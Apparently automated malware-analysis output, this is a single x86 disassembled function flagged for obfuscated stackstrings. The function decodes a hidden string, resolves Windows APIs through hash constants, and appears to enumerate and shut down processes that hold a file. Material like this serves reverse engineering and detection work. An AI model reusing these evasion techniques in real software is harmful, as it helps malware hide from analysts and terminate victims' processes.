Function at 0x409660
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x42cc14], 0
push ebx
push esi
push edi
mov dword [ebp - 0x68], ecx
jne 0x40983c
mov byte [ebp - 0xa4], 0
mov byte [ebp - 0xa3], 0x77
mov byte [ebp - 0xa2], 0x3b
mov byte [ebp - 0xa1], 9
mov byte [ebp - 0xa0], 0x3b
mov byte [ebp - 0x9f], 0x4b
mov byte [ebp - 0x9e], 0x3b
mov byte [ebp - 0x9d], 0x74
mov byte [ebp - 0x9c], 0x3b
mov byte [ebp - 0x9b], 0x63
mov byte [ebp - 0x9a], 0x3b
mov byte [ebp - 0x99], 0x22
mov byte [ebp - 0x98], 0x3b
mov byte [ebp - 0x97], 0x74
mov byte [ebp - 0x96], 0x3b
mov byte [ebp - 0x95], 0x65
mov byte [ebp - 0x94], 0x3b
mov byte [ebp - 0x93], 0x53
mov byte [ebp - 0x92], 0x3b
mov byte [ebp - 0x91], 0x63
mov byte [ebp - 0x90], 0x3b
mov byte [ebp - 0x8f], 0x7c
mov byte [ebp - 0x8e], 0x3b
mov byte [ebp - 0x8d], 0x63
mov byte [ebp - 0x8c], 0x3b
mov byte [ebp - 0x8b], 0x5b
mov byte [ebp - 0x8a], 0x3b
mov byte [ebp - 0x89], 9
mov byte [ebp - 0x88], 0x3b
mov byte [ebp - 0x87], 0x22
mov byte [ebp - 0x86], 0x3b
mov byte [ebp - 0x85], 0x65
mov byte [ebp - 0x84], 0x3b
mov byte [ebp - 0x83], 0x7c
mov byte [ebp - 0x82], 0x3b
mov byte [ebp - 0x81], 0x26
mov byte [ebp - 0x80], 0x3b
mov byte [ebp - 0x7f], 0x74
mov byte [ebp - 0x7e], 0x3b
mov byte [ebp - 0x7d], 0x65
mov byte [ebp - 0x7c], 0x3b
mov byte [ebp - 0x7b], 0x2a
mov byte [ebp - 0x7a], 0x3b
mov byte [ebp - 0x79], 0x26
mov byte [ebp - 0x78], 0x3b
mov byte [ebp - 0x77], 0x63
mov byte [ebp - 0x76], 0x3b
mov byte [ebp - 0x75], 0x5f
mov byte [ebp - 0x74], 0x3b
mov byte [ebp - 0x73], 9
mov byte [ebp - 0x72], 0x3b
mov byte [ebp - 0x71], 0x5f
mov byte [ebp - 0x70], 0x3b
mov byte [ebp - 0x6f], 0x28
mov byte [ebp - 0x6e], 0x3b
mov byte [ebp - 0x6d], 0x3b
mov byte [ebp - 0x6c], 0x3b
mov al, byte [ebp - 0xa3]
cmp byte [ebp - 0xa4], 0
jne 0x40981a
xor esi, esi
lea edi, [esi + 0x7f]
nop word [eax + eax]
mov al, byte [ebp + esi - 0xa3]
movzx ecx, al
sub ecx, 0x3b
mov eax, ecx
shl eax, 5
sub eax, ecx
cdq
idiv edi
lea eax, [edx + 0x7f]
cdq
idiv edi
mov byte [ebp + esi - 0xa3], dl
inc esi
cmp esi, 0x38
jb 0x4097f0
lea eax, [ebp - 0xa3]
push eax
call fcn.0040f350
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004169d7
mov esp, ebp
pop ebp
ret
xor esi, esi
lea eax, [ebp - 0x50]
mov dword [ebp - 0x54], esi
mov ecx, 0x42
nop dword [eax]
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x409850
mov eax, dword [0x42cc10]
mov eax, dword [eax + 0xfc]
test eax, eax
jne 0x409883
push 0xb5e437b0
lea edx, [ecx + 4]
call fcn.004022b0
mov ecx, dword [0x42cc10]
mov dword [ecx + 0xfc], eax
lea ecx, [ebp - 0x50]
push ecx
push 0
lea ecx, [ebp - 0x54]
push ecx
call eax
test eax, eax
jne 0x409b4e
mov eax, dword [0x42cc10]
mov edi, dword [ebp - 0x54]
mov eax, dword [eax + 0x104]
test eax, eax
jne 0x4098c4
push 0x2ad410e3
lea edx, [eax + 4]
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x42cc10]
mov dword [ecx + 0x104], eax
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x68]
push ecx
push 1
push edi
call eax
test eax, eax
jne 0x409b1e
mov dword [ebp - 0x5c], esi
lea eax, [ebp - 0x64]
mov dword [ebp - 0x60], esi
mov ecx, 4
mov dword [ebp - 0x58], esi
mov dword [ebp - 0x64], esi
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x4098f1
mov eax, dword [0x42cc10]
mov esi, dword [ebp - 0x54]
mov eax, dword [eax + 0x100]
test eax, eax
jne 0x409927
push 0xbbd8bcb8
lea edx, [ecx + 4]
call fcn.004022b0
mov ecx, dword [0x42cc10]
mov dword [ecx + 0x100], eax
lea ecx, [ebp - 0x5c]
push ecx
push 0
lea ecx, [ebp - 0x58]
push ecx
lea ecx, [ebp - 0x60]
push ecx
push esi
call eax
cmp eax, 0xea
jne 0x409bb2
mov eax, dword [ebp - 0x60]
test eax, eax
je 0x409bb2
imul edi, eax, 0x29c
mov eax, dword [0x42cc10]
mov eax, dword [eax + 0x7c]
test eax, eax
jne 0x409977
push 0xc5e8a09c
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x42cc10]
mov dword [ecx + 0x7c], eax
call eax
mov ecx, dword [0x42cc10]
mov esi, eax
mov eax, dword [ecx + 0x78]
test eax, eax
jne 0x40999f
push 0x263040ab
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x42cc10]
mov dword [ecx + 0x78], eax
push edi
push 8
push esi
call eax
mov esi, dword [ebp - 0x54]
mov edi, eax
test edi, edi
je 0x409bb5
mov eax, dword [ebp - 0x60]
mov dword [ebp - 0x58], eax
mov eax, dword [0x42cc10]
mov eax, dword [eax + 0x100]
test eax, eax
jne 0x4099e2
push 0xbbd8bcb8
lea edx, [eax + 4]
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x42cc10]
mov dword [ecx + 0x100], eax
lea ecx, [ebp - 0x5c]
push ecx
push edi
lea ecx, [ebp - 0x58]
push ecx
lea ecx, [ebp - 0x60]
push ecx
push esi
call eax
test eax, eax
jne 0x409b61
cmp dword [ebp - 0x60], eax
je 0x409b61
mov eax, dword [0x42cc10]
mov eax, dword [eax + 0x18]
test eax, eax
jne 0x409a26
push 0x663b63f4
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x42cc10]
mov dword [ecx + 0x18], eax
call eax
mov ecx, dword [0x42cc10]
mov esi, eax
mov eax, dword [ecx + 0x24]
test eax, eax
jne 0x409a4e
push 0x31d910df
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x42cc10]
mov dword [ecx + 0x24], eax
push esi
call eax
mov ebx, dword [ebp - 0x58]
xor edx, edx
mov dword [ebp - 0x64], eax
test ebx, ebx
je 0x409a94
mov esi, edi
nop
mov ecx, dword [esi]
cmp ecx, eax
je 0x409b61
mov eax, dword [0x42cc1c]
mov eax, dword [eax]
test eax, eax
je 0x409a84
cmp ecx, dword [eax]
je 0x409b61
mov eax, dword [eax + 4]
test eax, eax
jne 0x409a75
inc edx
add esi, 0x29c
cmp edx, ebx
jae 0x409a94
mov eax, dword [ebp - 0x64]
jmp 0x409a60
mov eax, dword [0x42cc10]
mov esi, dword [ebp - 0x54]
mov eax, dword [eax + 0x108]
test eax, eax
jne 0x409ac1
push 0x22cb760f
lea edx, [eax + 4]
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x42cc10]
mov dword [ecx + 0x108], eax
push 0
push 1
push esi
call eax
neg eax
sbb esi, esi
mov eax, dword [0x42cc10]
inc esi
mov eax, dword [eax + 0x7c]
test eax, eax
jne 0x409af0
push 0xc5e8a09c
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x42cc10]
mov dword [ecx + 0x7c], eax
call eax
mov ecx, dword [0x42cc10]
mov ebx, eax
mov eax, dword [ecx + 0x74]
test eax, eax
jne 0x409b18
push 0x3ce51c64
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x42cc10]
mov dword [ecx + 0x74], eax
push edi
push 0
push ebx
call eax
mov eax, dword [0x42cc10]
mov edi, dword [ebp - 0x54]
mov eax, dword [eax + 0xf8]
test eax, eax
jne 0x409b4b
push 0x7d154065
lea edx, [eax + 4]
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x42cc10]
mov dword [ecx + 0xf8], eax
push edi
call eax
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004169d7
mov esp, ebp
pop ebp
ret
mov eax, dword [0x42cc10]
mov eax, dword [eax + 0x7c]
test eax, eax
jne 0x409b84
push 0xc5e8a09c
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x42cc10]
mov dword [ecx + 0x7c], eax
call eax
mov ecx, dword [0x42cc10]
mov esi, eax
mov eax, dword [ecx + 0x74]
test eax, eax
jne 0x409bac
push 0x3ce51c64
xor edx, edx
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x42cc10]
mov dword [ecx + 0x74], eax
push edi
push 0
push esi
call eax
mov esi, dword [ebp - 0x54]
mov eax, dword [0x42cc10]
mov eax, dword [eax + 0xf8]
test eax, eax
jne 0x409bdf
push 0x7d154065
lea edx, [eax + 4]
xor ecx, ecx
call fcn.004022b0
mov ecx, dword [0x42cc10]
mov dword [ecx + 0xf8], eax
push esi
call eax
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004169d7
mov esp, ebp
pop ebp
ret